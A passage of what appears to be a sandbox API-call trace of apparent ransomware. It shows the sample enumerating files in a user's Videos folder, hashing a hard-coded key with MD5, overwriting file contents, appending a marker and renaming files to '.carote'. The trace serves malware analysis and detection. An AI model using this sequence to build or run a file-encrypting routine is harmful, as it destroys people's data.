lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.926] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\") returned="DflAw\\" [0113.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ec028 [0113.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f190 | out: hHeap=0x5010000) returned 1 [0113.926] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\") returned="UYaZ4DG0b_NROc5iB6tm\\" [0113.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0113.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ec028 | out: hHeap=0x5010000) returned 1 [0113.926] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0113.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0113.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da78 | out: hHeap=0x5010000) returned 1 [0113.926] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.926] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0113.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0113.926] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.926] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.926] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.927] PathFindFileNameW (pszPath="") returned="" [0113.927] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.927] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Ky0Ly40HAhggPV2r3\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6397ebd0, ftCreationTime.dwHighDateTime=0x1d4c895, ftLastAccessTime.dwLowDateTime=0x929ffae0, ftLastAccessTime.dwHighDateTime=0x1d4cfe7, ftLastWriteTime.dwLowDateTime=0x929ffae0, ftLastWriteTime.dwHighDateTime=0x1d4cfe7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.927] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.927] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6397ebd0, ftCreationTime.dwHighDateTime=0x1d4c895, ftLastAccessTime.dwLowDateTime=0x929ffae0, ftLastAccessTime.dwHighDateTime=0x1d4cfe7, ftLastWriteTime.dwLowDateTime=0x929ffae0, ftLastWriteTime.dwHighDateTime=0x1d4cfe7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.927] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142e9180, ftCreationTime.dwHighDateTime=0x1d4cc3b, ftLastAccessTime.dwLowDateTime=0x8b264ee0, ftLastAccessTime.dwHighDateTime=0x1d4c6b9, ftLastWriteTime.dwLowDateTime=0x8b264ee0, ftLastWriteTime.dwHighDateTime=0x1d4c6b9, nFileSizeHigh=0x0, nFileSizeLow=0x7a12, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MEMlGAEqnGCcH.swf", cAlternateFileName="MEMLGA~1.SWF")) returned 1 [0113.927] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.927] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x106) returned 0x7ac0908 [0113.927] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.928] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Ky0Ly40HAhggPV2r3\\MEMlGAEqnGCcH.swf") returned=".swf" [0113.928] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Ky0Ly40HAhggPV2r3\\MEMlGAEqnGCcH.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\ky0ly40hahggpv2r3\\memlgaeqngcch.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.928] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=31250) returned 1 [0113.928] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.930] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x79ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.930] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.932] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.932] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.932] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.932] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x7a12, lpOverlapped=0x0) returned 1 [0113.932] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.932] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.932] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.932] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.932] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0113.933] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.933] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.933] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.933] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.933] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.933] GetLastError () returned 0x0 [0113.933] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.933] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0113.934] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.934] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7a10) returned 0x7b1c730 [0113.934] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.934] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.934] WriteFile (in: hFile=0x61c, lpBuffer=0x7b1c730*, nNumberOfBytesToWrite=0x7a0d, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b1c730*, lpNumberOfBytesWritten=0x825fb24*=0x7a0d, lpOverlapped=0x0) returned 1 [0113.934] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b1c730 | out: hHeap=0x5010000) returned 1 [0113.934] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7a12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.934] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.934] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.934] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14908 [0113.934] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.934] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.934] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14908*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14908*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.934] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.934] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.934] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.935] CloseHandle (hObject=0x61c) returned 1 [0113.935] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da068 [0113.935] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8e0) returned 0x7b14908 [0113.935] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da068 | out: hHeap=0x5010000) returned 1 [0113.935] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Ky0Ly40HAhggPV2r3\\MEMlGAEqnGCcH.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\ky0ly40hahggpv2r3\\memlgaeqngcch.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Ky0Ly40HAhggPV2r3\\MEMlGAEqnGCcH.swf.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\ky0ly40hahggpv2r3\\memlgaeqngcch.swf.carote")) returned 1 [0113.936] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.936] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.937] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0908 | out: hHeap=0x5010000) returned 1 [0113.937] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142e9180, ftCreationTime.dwHighDateTime=0x1d4cc3b, ftLastAccessTime.dwLowDateTime=0x8b264ee0, ftLastAccessTime.dwHighDateTime=0x1d4c6b9, ftLastWriteTime.dwLowDateTime=0x8b264ee0, ftLastWriteTime.dwHighDateTime=0x1d4c6b9, nFileSizeHigh=0x0, nFileSizeLow=0x7a12, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MEMlGAEqnGCcH.swf", cAlternateFileName="MEMLGA~1.SWF")) returned 0 [0113.937] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.937] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0113.937] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16690 | out: hHeap=0x5010000) returned 1 [0113.937] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.937] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16690 [0113.937] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.937] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.937] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.937] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.937] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.937] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.937] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.938] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.938] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.938] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.938] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.938] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.938] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.938] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.938] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.938] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.938] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.938] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.938] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.938] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.938] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.938] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.938] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.938] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.938] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.938] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.938] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.938] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.938] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.938] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.938] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.938] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.938] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.938] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.938] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.938] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.938] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.939] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.939] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.939] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.939] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.939] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.939] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.939] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.939] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.939] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.939] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.939] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.939] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.939] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.939] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.939] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.939] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.939] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.939] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.939] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.939] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.939] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.939] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.939] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.939] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.939] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.939] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.939] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\") returned="Z9S-Lyrz1J9mVBffWgx3\\" [0113.939] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\") returned="DflAw\\" [0113.939] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\") returned="UYaZ4DG0b_NROc5iB6tm\\" [0113.940] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0113.940] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.940] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.940] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.940] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.940] PathFindFileNameW (pszPath="") returned="" [0113.940] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d0cc280, ftCreationTime.dwHighDateTime=0x1d4d29c, ftLastAccessTime.dwLowDateTime=0xccaefca0, ftLastAccessTime.dwHighDateTime=0x1d4cc35, ftLastWriteTime.dwLowDateTime=0xccaefca0, ftLastWriteTime.dwHighDateTime=0x1d4cc35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.940] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d0cc280, ftCreationTime.dwHighDateTime=0x1d4d29c, ftLastAccessTime.dwLowDateTime=0xccaefca0, ftLastAccessTime.dwHighDateTime=0x1d4cc35, ftLastWriteTime.dwLowDateTime=0xccaefca0, ftLastWriteTime.dwHighDateTime=0x1d4cc35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.940] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f957540, ftCreationTime.dwHighDateTime=0x1d4c5bb, ftLastAccessTime.dwLowDateTime=0xd6ce7730, ftLastAccessTime.dwHighDateTime=0x1d4cc42, ftLastWriteTime.dwLowDateTime=0xd6ce7730, ftLastWriteTime.dwHighDateTime=0x1d4cc42, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GP_hmZxeLiKuo3", cAlternateFileName="GP_HMZ~1")) returned 1 [0113.940] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a093480, ftCreationTime.dwHighDateTime=0x1d4c77b, ftLastAccessTime.dwLowDateTime=0xcc1138f0, ftLastAccessTime.dwHighDateTime=0x1d4cf49, ftLastWriteTime.dwLowDateTime=0xcc1138f0, ftLastWriteTime.dwHighDateTime=0x1d4cf49, nFileSizeHigh=0x0, nFileSizeLow=0xa93d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WBXXykKnYyU.avi", cAlternateFileName="WBXXYK~1.AVI")) returned 1 [0113.940] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\WBXXykKnYyU.avi") returned=".avi" [0113.940] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\WBXXykKnYyU.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\z9s-lyrz1j9mvbffwgx3\\wbxxykknyyu.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.941] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=43325) returned 1 [0113.941] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.943] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa917, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.943] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.944] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xa93d, lpOverlapped=0x0) returned 1 [0113.945] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.945] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.945] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.945] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0113.946] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.946] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.947] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.947] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.947] GetLastError () returned 0x0 [0113.947] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.947] CryptReleaseContext (hProv=0x50ecf90, 